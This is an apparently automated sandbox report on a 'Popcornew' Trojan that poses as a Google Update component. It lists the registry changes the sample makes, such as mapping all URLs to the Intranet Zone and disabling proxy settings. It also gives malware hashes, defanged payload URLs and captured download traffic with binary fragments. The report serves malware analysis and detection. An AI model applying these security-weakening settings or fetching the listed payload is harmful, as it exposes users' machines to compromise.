[HKCR\Interface\{AAC9CBD8-BAE8-40DB-966D-7BF61B82CB85}\NumMethods]
"(Default)" = "4"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}]
"Policy" = "3"

[HKCR\CLSID\{9892108A-038E-4D48-9D3C-D1E2A9B706EC}]
"(Default)" = "PSFactoryBuffer"

[HKCR\Interface\{16BC6838-379D-47A7-BA04-6F94A8A6CD88}\NumMethods]
"(Default)" = "4"

[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}\InprocServer32]
"ThreadingModel" = "Both"

[HKCR\Interface\{DF8EBF99-BB5B-4A47-880A-F73B2AA99C61}]
"(Default)" = "IBrowserHttpRequest2"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\Interface\{6B8D4379-95D4-428D-8B3D-D5A655251CD0}]
"(Default)" = "ICredentialDialog"

[HKCR\Interface\{DDAC3A24-5C61-4ED6-9161-3248A4A3E239}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachineFallback"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.ProcessLauncher"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{AAC9CBD8-BAE8-40DB-966D-7BF61B82CB85}]
"(Default)" = "ICoCreateAsync"

[HKCR\Interface\{7FB88587-9AA6-459D-B4BF-E8094DC46C02}\NumMethods]
"(Default)" = "5"

[HKCR\PopcornewUpdate.CoreMachineClass.1\CLSID]
"(Default)" = "{0D692BF5-6C8C-4141-8C24-9CB731D78F75}"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{91231829-C94F-497E-85B7-4A9ED7C8A2E4}]
"(Default)" = "IPopcornewUpdate3Web"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\Elevation]
"Enabled" = "1"

[HKCR\Interface\{91231829-C94F-497E-85B7-4A9ED7C8A2E4}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine\CurVer]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachine.1.0"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\PopcornewUpdate.CredentialDialogMachine\CLSID]
"(Default)" = "{3DD579C6-640C-4873-9596-D5BD8ECB8E99}"

[HKCR\PopcornewUpdate.CredentialDialogMachine.1.0\CLSID]
"(Default)" = "{3DD579C6-640C-4873-9596-D5BD8ECB8E99}"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}]
"(Default)" = "Popcornew.OneClickProcessLauncher"

[HKCR\Interface\{94612B35-2B11-4D25-A19B-4DEB5FCFCEC7}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{AAC9CBD8-BAE8-40DB-966D-7BF61B82CB85}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.Update3WebMachine.1.0]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\Interface\{3B455781-2C9A-4A5F-97BD-18CD9FB621F1}]
"(Default)" = "IAppWeb"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\CLSID\{9892108A-038E-4D48-9D3C-D1E2A9B706EC}\InProcServer32]
"ThreadingModel" = "Both"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachine"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\ProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachine.1.0"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\Interface\{16BC6838-379D-47A7-BA04-6F94A8A6CD88}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.Update3WebMachine]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\PopcornewUpdate.ProcessLauncher.1.0]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\PopcornewUpdate.Update3WebMachineFallback.1.0\CLSID]
"(Default)" = "{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}"

[HKCR\Interface\{FDDD22AC-8EEB-4615-9D22-E7BF00BBDF98}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

The Trojan deletes the following registry key(s):

[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}\InprocServer32]
[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}\InprocHandler32]
[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}]
[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}]

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process %original file name%.exe:1380 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 53 17 25 72 F4 55 B7 F0 B9 ED 4E C3 38 72 6C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process popcornew.exe:2548 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7A 67 55 A7 78 0B 9A C7 41 D6 BA 9F DC 30 3A 87"

The process popcornew.exe:1972 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC D8 D7 C8 56 9D 4B 5E CB 7E 56 05 1C EA 5A 5D"

[HKU\.DEFAULT\Software\Popcornew]
"ID" = "{87374610-4213-4721-9CBD-61E510FA861E}"

[HKLM\SOFTWARE\Popcornew\Update]
"UID" = "{87374610-4213-4721-9CBD-61E510FA861E}"

The process popcornew.exe:2488 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 29 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA B8 46 6D 15 2E 8B 19 AA E2 B3 17 92 D6 3F 9C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Popcornew]
"ID" = "{4AF15487-35AE-472A-AFD9-733DADC4EB80}"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsy2.tmp:1448 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 0C F6 A7 DD 9C 61 C4 91 CC AC 8F A0 67 75 98"

The process MsiExec.exe:1520 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AD FB 60 25 AE AB 36 FC AB 78 3C 51 67 FE 7B E1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Popcornew\Popcornew]
"popcornew.exe" = "Popcornew"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 28
7bcde813c50a0b0e20e5f9f233bc3040
3688b56d52c66f794ee5958db04c71f0
ac4d05f3d2207cf5957a228dc262e284
fe1581d981a0b576d5cf4843ae87f909
d8613773910af27a60726708ba293fbc
5688e965607d0f7aef8a150ec71f1fe2
9ab8b7faa867cf7e1517d5038325fec5
f60056c850154bea3fd4c382dde3f297
e9cc444ccdb9c93d434a7b516ea533d5
0491b877912b7218f19f005a22019bb8
ce2460148572f45786a2d3dfc472503f
88aad697d0b2f3f5e59a7b965ff42b28
08c6ac30fea387eda82301c1ed5b723c
dfdb89cf76bb4d9d3e3b1408591221d8
05c2633314bd820841338760644b0116
6e9ae4ef3c4b2484aa18a5ab9a87c990
0d51f43eb5c5b1f9ee8b312b1eceba30
37a14fd5374bff6fdf01c547deeea36e
3a22d8f568323c83f21b4bcb81bb74fe
d8fcda5a47aac90687eed2629cf73bfb
430e9835f8492e2df69216835121003b
6a644e57d164cae7561d57c972bb4392
cff1f1ba67a97bacd1c44937e44ce9e3
2ecaf6edd97d8d664d24916607e9dd71
48530cda05dd8f6a16156b050447748c

URLs

URL	IP
hxxp://194.150.236.158/omaha/tools/service/update2/?w=3:FhxKsJLaArjd_zthbghrY0uaS1b-UYA_hw9DIyc83gnjr3xmHIwe7FiFQqYS9SSQSeiHWwvTMUDLW5ZzSZCl4tA4W-1B_KckmtZcBDomAUALITXoizEQWBdeQcoIrq7RvOwewQ7l5M5sfbHecuR7uJkA-RfpfeWZEqeUkISS3KU
hxxp://dlmanager.net/omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi
hxxp://www.dlmanager.net/omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi	194.150.236.197
hxxp://popcornew.com/client_config?id={4AF15487-35AE-472A-AFD9-733DADC4EB80}&it=1434736505
hxxp://popcornew.com/omaha/tools/service/update2/?w=3:FhxKsJLaArjd_zthbghrY0uaS1b-UYA_hw9DIyc83gnjr3xmHIwe7FiFQqYS9SSQSeiHWwvTMUDLW5ZzSZCl4tA4W-1B_KckmtZcBDomAUALITXoizEQWBdeQcoIrq7RvOwewQ7l5M5sfbHecuR7uJkA-RfpfeWZEqeUkISS3KU

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=0-5917

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:05 GMT

Content-Type: application/octet-stream

Content-Length: 5918

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:05 GMT

Cache-Control: no-cache

Content-Range: bytes 0-5917/5894144
........................>..........................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=5918-13970

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:08 GMT

Content-Type: application/octet-stream

Content-Length: 8053

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:08 GMT

Cache-Control: no-cache

Content-Range: bytes 5918-13970/5894144
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
 ...!..."...#...$...%...&...'...(...)...*... ...,...-......./...0...1.
..2...3...4...5...6...7...8...9...:...;...<...=...>[email protected].
..B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...
S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d.
..e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...
v...w...x...y...z...{...|...}...~.....................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................. ...!..."...#...$...
%...&...'...(...)...*... ...,...-......./...0...1...2...3...4...5...6.
..7...8...9...:...;...<...=...>[email protected].
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=13971-25344

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:11 GMT

Content-Type: application/octet-stream

Content-Length: 11374

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:11 GMT

Cache-Control: no-cache

Content-Range: bytes 13971-25344/5894144
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=25345-36129

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:12 GMT

Content-Type: application/octet-stream

Content-Length: 10785

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:12 GMT

Cache-Control: no-cache

Content-Range: bytes 25345-36129/5894144
M.z..=...A..CEB...J...I.Y.^q3#A...r.L9.]W.r>..[.:.x.....l-.U.......
......k....<.......=. yI_..(^.\....q....b...g1..K..o(.h.5.......A^V
..7..[*KB@\._....{..%...6.9.3fLl...%..N......\.....1.. ....T.>{. ..
~...I;mI...z.h.Y......Q;.....q.V04f...K....{.b..1r3...../.e..H-.....-.
...........gk..rh...0}.;`..6F.^..Zb'[email protected]^.f..
[email protected].}..eM.Vx..=.<..l..>......f.6..
..)..a..A0.!.....#...Ny.xv...|.}G...J...p...p.'....-./..S.........2|!f
.y...t ....4G.H._([.B..T.9..i...7........o..Fl..4..Y{.........w...f~A{
..m...... ..fh...[k....o.=......v..].L..M....Op./.....z....A..t.}....D
?=.S...<..x.x..1...>....6..7^......].{......1......G.L..I..K4...
...v....B..&:..xA\...%.K....n....2...v...*..k>....N...u....P.Im...I
...$..l?.`..X.e...|2..o.......;...."'....*.......l.a.b\......]j.%.{...
.3...{.e....0.u .Oq.YsY..i....K..Qs]Ot.m...../K.r...w..~.[#.|..l..J_.-
`.l.......c.S........p.^...{.........D-.\3.^.gq%..J.......GS....KQ6.:.
.H.....jKR/..Y....d......&..T.,.f.y.r.....F.<..94.Y4=L:W..=...UF..t
MLQn..)..g...AX........#.#......._._0R]&._G...;...VLBr@.... ..2....|..
.k..%e."........:..r..Wn...3..6.......:....?.. .N..?U.......C.....>
I.k.&.......V.`....}...AVa.UX&a.6.3..--....4c..~....Z<.....c..o{..Z
....U.`......{.v......^.F.{h....W.[T`..oi....Ffg...>....~.....`=...
.......k..{......g8..-...RwO#....xh.......75......DMr......s......"9..
...IVms.....q.Vf.[.e..j.;..#.....%.u........!.t_..M.\X>....O.....'.
.../.`.........b.......W...A...F.W....4i.39oL.h.Rw..u<V.b...G/ 
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=36130-59379

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:13 GMT

Content-Type: application/octet-stream

Content-Length: 23250

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:13 GMT

Cache-Control: no-cache

Content-Range: bytes 36130-59379/5894144
..5.{..Nt'^....._...Ny...&,..Ro.h~...K...).Z-y...p3>.....|..X....`6
.~...0N.*....w.Q.=YX....ff.F.e...:....E)..KW\. [email protected].,.U. .C.
..S..$..Z-.^W....r......Y".0O..tc~J...U.$.......X.My.ij#.*5.UI.......d
 ..o....\{...1.....t1yB...\W...'..E..=.9.~.F.7.p......{K.....s....EQB.
?.J%3h.n!.w.,.p.....9.....W._.M......,. g.|9.....b/ ...'..........to..
"0R%... ....<YZ?.!o...s...k.:...vN...t."...._.].x........JX..E3u%.I
...$|S.O....._...._.i....D.J_.8..A.h .!q,.....< ......%.....[..M...
~...c......(.. ....|...B3....D..b....car(.n O...........D..Hh..FR8...p
.a....k..#..&...\IM..k.|..^lJ...;.....l.C`.....l......~ L.%5....:....~
&>Y..Q.UQ...^>v...4"S .......T...(,}."e..0...e......aM(...6..w..
35..l.:.NF.|.z]..^....e......J.I..-.xI......~;...Ym.6..*......p.......
D.\.....\'..)}...........=.^m......h(...<[email protected].;.)..B..... &.u
{.$r....$...N.8......*.A:...b.Qb$.?..*..z...Q...1........./.S(.0....A'
E...HC..Y.."..=.lG.n.A.R.).oG.^8.Q....9>..........t..m;......Yk....
.......-......S>. ...._1....r..@ T!.. f.8:.T.....:i.....(..W3H5...=
^...w...AZ..g`......r..8[~..Gly~.8.F..H..g.].}>\.S...g...W..p....QD
...._..zD...SP....eJ.f...V.)...6....vp...`...t..<...}:!...C...{<
..^.NQ.....<........a..c'.b ...m;..].bR...@9. 6.......y.._`[..H..,\
.w....N.....]...bh.I..e...............[H....e .{m.A..X.{......i.M..a6.
[email protected]>..x.C.T[../...l..S...ec.Y.*..Ur. .B...
...6..!..%&...ofSM.lx....J..vp.JW.(..;Q..h.N~.5...8.qB..XZ..vU<``.u
;a...5.7..A4..8c......d.M.g2.N...Q.7...A..5..pa9..`65.D ..]..k.!.?
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=59380-106509

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:14 GMT

